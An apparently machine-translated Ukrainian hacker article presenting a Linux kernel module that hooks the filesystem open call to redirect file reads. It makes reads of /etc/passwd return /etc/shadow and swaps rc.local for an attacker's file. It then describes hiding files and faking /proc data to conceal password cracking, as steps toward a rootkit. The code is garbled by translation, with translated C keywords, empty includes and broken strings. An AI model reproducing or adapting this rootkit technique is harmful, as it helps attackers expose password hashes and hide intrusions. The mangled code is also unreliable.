/*
Перенаправителя за Alekz під ([Електронна пошта захищена])
Цей модуль дозволяє передавати файли у вашій системі.
*/
#визначте модуль
#визначити __ядра__
#включати
#включати
#включати
#включати
#включати
// включаємо файли потрібні для роботи з файловою системою
#включати
#включати
#включати
#включати
#включати
структура file_operations * ФОП;
структура file_operations orig_fop;
структура nameidata kernel_nd;
// структкра в якій ми будемо зберігати імена і иноды цього і обманного файлів
структура redirect_struct
{
довгі інт orig_ino, redir_ino;
голець * orig_fname, * redir_fname;
структура redirect_struct *наступного *попередній;
};
структура redirect_struct *редиректів;
інт redirect_add(типу char *ориг гольця *перенаправителя);
порожнеча redirect_del(типу char *ориг);
інт wrap_open(структури вузлів *ino файл, структура *відкидний);
// ця функція по назві файлу знаходить номер його инода’а
довгі інт get_inode_num(типу char *filename)
{
інт підстрахуватися;
довгі інт inode_num;
структура nameidata НД;
якщо (у path_init(файл, 0, &НД))
підстрахуватися = path_walk(ім’ям, &НД);
якщо (підстрахуватися)
повернення 0;
inode_num = НД.запис dentry->d_inode->i_ino;
path_release(&НД);
повернення inode_num;
}
інт wrap_open(структура иноді *Іно, структура файлу *відкидний)
{
структура redirect_struct *перенаправителя;
// переглядаємо список редиректів
// замість зв’язного списку можна використовувати масив
(перенаправителя = редиректів; перенаправителя != Значення NULL; перенаправителя = перенаправителя->далі)
{
// відкриття файл є в нашому списку редиректів?
якщо(филп->f_dentry->d_inode->i_ino == перенаправителя->orig_ino)
{
інт рет;
структура nameidata НД;
// відкриваємо файл обманний
якщо (у path_init(перенаправителя->redir_fname, 0, &НД))
рет = path_walk(перенаправителя->redir_fname, &НД);
якщо (рет) /*помилка! файл не знайдений!*/
повернення -1; /* orig_fop.відкрити(Іно відкидний); */
lock_kernel();
// закриваємо цей файл
дії dput(филп->f_dentry);
// замінюємо структури так, що дані будуть читатися з обманного файлу, а не з цього
філп->f_dentry = НД.дерева;
unlock_kernel();
}
}
// викликаємо справжню відкриття
повернення orig_fop.відкрити(Іно відкидний);
}
// ця функція додає файли для редиректа в список
інт redirect_add(типу char *orig_fname, гольця *redir_fname)
{
структура redirect_struct *перенаправителя, *тмп;
// замовляємо пам’ять для структури
перенаправителя = то резервується пам’ять викликом kmalloc(оператор sizeof(структура redirect_struct), GFP_ATOMIC);
якщо(!перенаправителя)
повернення -1;
// пам’ять для імен файлів
перенаправителя->orig_fname = то резервується пам’ять викликом kmalloc(функція strlen(orig_fname)+1, GFP_ATOMIC);
перенаправителя->redir_fname = то резервується пам’ять викликом kmalloc(функція strlen(redir_fname)+1, GFP_ATOMIC);
якщо(!перенаправителя->orig_fname || !перенаправителя->redir_fname)
{
kfree(перенаправителя);
повернення -1;
}
і strcpy(перенаправителя->orig_fname, orig_fname);
і strcpy(перенаправителя->redir_fname, redir_fname);
// визначаємо номери инодов
перенаправителя->orig_ino = get_inode_num(orig_fname);
перенаправителя->redir_ino = get_inode_num(redir_fname);
якщо(!перенаправителя->orig_ino || !перенаправителя->redir_ino)
{
kfree(перенаправителя->orig_fname);
kfree(перенаправителя->redir_fname);
kfree(перенаправителя);
повернення -1;
}
якщо(!редиректи)
{
редиректи = перенаправителя;
переадресація->наступний = нуль;
переадресація->перед = нуль;
повернення 0;
}
// шукаємо місце куди встромити структуру редіректу
// код складний, так як виконується сортування за номерами инода’, що б швидше переглядати цей список wrap_open
(тмп = редиректів; тмп->наступний != Нуль; тмп = тмп->далі)
{
якщо(тмп->orig_ino orig_ino)
{
перенаправителя->наступний = тмп;
якщо(тмп == перенаправлення)
{
перенаправителя->перед = нуль;
редиректи->перед = перенаправителя;
редиректи = перенаправителя;
}
ще
{
перенаправителя->перед = тмп->пред’;
тмп->перед->наступний = перенаправителя;
}
повернення 0;
}
інше, якщо(перенаправителя->orig_ino == тмп->orig_ino)
{
// вже редиректим цей файл
kfree(перенаправителя->orig_fname);
kfree(перенаправителя->redir_fname);
kfree(перенаправителя);
повернення 0;
}
}
// всі номери инода’ів цих файлів більше перенаправителя->orig_ino — просто додати в кінець списку структуру
перенаправителя->наступний = тмп->далі;
перенаправителя->перед = тмп;
тмп->наступний = перенаправителя;
повернення 0;
}
// ця функція видаляє структуру-редіректу зі списку
порожнеча redirect_del(типу char *ориг)
{
структура redirect_struct *тмп;
довгі інт orig_ino = get_inode_num(ориг);
(тмп = редиректів; тмп != Нуль; тмп = тмп->далі)
{
якщо(тмп->orig_ino == orig_ino)
{
// знайшли…
якщо(тмп->пред’ == нуль)
редиректи = тмп->далі;
ще
тмп->перед->наступний = тмп->далі;
якщо(тмп->далі)
тмп->далі->перед = тмп->пред’;
ще
редиректи = нуль;
kfree(тмп->orig_fname);
kfree(тмп->redir_fname);
kfree(тмп);
повернення;
}
}
}
інт функції init_module(порожнеча)
{
інт помилки;
шлях типу char [] = “/etc/вміст файла inittab”;
// перехватываем відкрити функцію
якщо (у path_init(шлях, 0, &kernel_nd))
помилка = path_walk(шлях &kernel_nd);
якщо (!помилка)
{
lock_kernel();
ФОП = kernel_nd.запис dentry->d_inode->i_fop;
orig_fop.відкрити = ПП->відкрити;
ФОП->відкрити = wrap_open;
unlock_kernel();
}
ще
{
printk(«err0r».);
}
// додаємо файли для редіректу
redirect_add (“у/etc/passwd, /і т. д./тінь”);
redirect_add (“файл/etc/RC автомобіль.р/RC.місцеві”, “/головна/хакер/реальні.радіокерований.місцеві”);
// тепер кішка файлі /etc/passwd і покаже тінь, а не написане 🙂
// і т. д.
повернення 0;
}
від void cleanup_module(порожнеча)
{
// відновлюємо відкрити функцію
path_release(&kernel_nd);
ФОП->відкрити = orig_fop.відкрити;
}
Увага: якщо хтось відкрив редиректящийся файл і працює з ним, то прога як lsof може показати назву обманного файлу, але це рідкісна ситуація і якщо трошки длубатися, то можна це побороти. І ще, якщо номери inodo’в редиректящихся файлів не поміняються вчасно, то можуть бути проблеми — потрібно ще стежити за функціями видалення і перейменування файлів. Розмір файлу, його отметка’и і т. д. не будуть редіректітся на відміну від змісту. Але це можна побороти за допомогою Машини часу, модуля описаного раніше і т. д. 🙂
Перехоплюючи функцію виклику readdir можна ховати файли в каталозі, можливо я розповім як це реалізувати з наступний раз.
До речі, приблизно таким же чином можна перехоплювати і функції файлової системи прок (та, яка обслуговує файли у файлі /proc і надає інтерфейс з ядром), а значить, і видавати будь-яку потрібну інформацію про роботу системи. Наприклад, приховувати рівень завантаження процесора коли твій Джон ріпер рипает паролі, об’єм вільного дискового простору, коли ти там зберігаєш свої файли, і т. д… 🙂 Читай про приколи з Phrack в прок #58.
Ну ось і все на сьогодні, в наступний раз вас чекає невеликий Новорічний подарунок — реліз одного з моїх ЛКМ руткитов’ів. 🙂 Цей руткіт не містить яких-небудь супер-складних извратов. Тим не менш, він наочно демонструє, як зібрати всі вище викладені знання воєдино і створити корисний Руткіт. А також багато іншого… 😉